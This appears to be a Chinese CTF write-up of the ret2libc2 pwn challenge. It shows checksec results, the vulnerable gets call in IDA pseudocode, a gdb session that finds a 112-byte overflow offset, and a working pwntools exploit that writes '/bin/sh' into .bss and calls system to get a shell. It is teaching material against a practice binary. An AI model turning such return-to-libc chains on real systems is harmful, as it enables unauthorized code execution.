1:checksec
hunter@hunter:~/PWN/wiki/overflow$ checksec ret2libc2
[*] '/home/hunter/PWN/wiki/overflow/ret2libc2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
又是只有NX开启的常规操作
2:IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
显然gets这里有栈溢出,用IDA检查字符串发现有system函数,但是没有/bin/sh字符串
3:gdb调试测其溢出点
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xf7fb25c0 --> 0xfbad2288
EDX: 0xf7fb389c --> 0x0
ESI: 0xf7fb2000 --> 0x1d4d6c
EDI: 0x0
EBP: 0x6941414d ('MAAi')
ESP: 0xffffd03c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
EIP: 0x80486c5 (<main+125>: ret)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80486ba <main+114>: call 0x8048460 <gets@plt>
0x80486bf <main+119>: mov eax,0x0
0x80486c4 <main+124>: leave
=> 0x80486c5 <main+125>: ret
0x80486c6: xchg ax,ax
0x80486c8: xchg ax,ax
0x80486ca: xchg ax,ax
0x80486cc: xchg ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd03c ("AA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0004| 0xffffd040 ("ANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0008| 0xffffd044 ("jAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0012| 0xffffd048 ("AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0016| 0xffffd04c ("AkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0020| 0xffffd050 ("PAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0024| 0xffffd054 ("AAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
0028| 0xffffd058 ("AmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080486c5 30 in ret2libc.c
gdb-peda$ pattern offset AA8A
AA8A found at offset: 112
gdb-peda$
溢出点为112
4:思路
首先因为在程序中可以直接利用system函数,还有栈溢出跳转到system函数,接下来就是想办法得到/bin/sh字符串。
一般的如果题目没有给libc文件不老要想着找到libc地址来解题。那么不考虑libc文件中的/bin/sh字符串,我们看能不能利用输入来获得该字符串。
仔细看IDA主函数的伪代码会发现有个函数将bss段清零了(当然bss一般本来就是0)这应该就是给我们提示了,利用bss段全局变量来存放我们输入的/bin/sh,这样就可以让system函数利用这个字符串。那么输入函数这里直接有gets函数。ok构造exp
5:exp
from pwn import*
context.log_level = 'debug'
elf = ELF('ret2libc2')
system_addr = elf.plt['system']
gets_plt = elf.plt['gets']
bss_addr = 0x0804A040 #bss段的地址都可以在IDA找到
main = elf.symbols['main']
sh = process('./ret2libc2')
sh.recv()
payload = "A"*112 + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(bss_addr)
#gdb.attach(sh)
sh.sendline(payload)
sh.interactive()
易错点
之前我一直认为这个payload=payload = “A”112 + p32(gets_plt) + p32(system_addr) + p32(bss_addr) + p32(system_ret) + p32(bss_addr)是完全没问题的,system_ret即将作为system函数的返回地址。
我这么认为是因为,我以为用p32(gets_plt)执行后p32(system_addr)作为返回地址,p32(bss_addr)作为参数:程序将跳转到system函数,而p32(bss_addr)将被gets函数从栈中取出
**后面这个想法大错特错,用gdb调试发现返回地址,和参数一直都在栈中,只是利用参数时会进行值的传递,而不是取出。**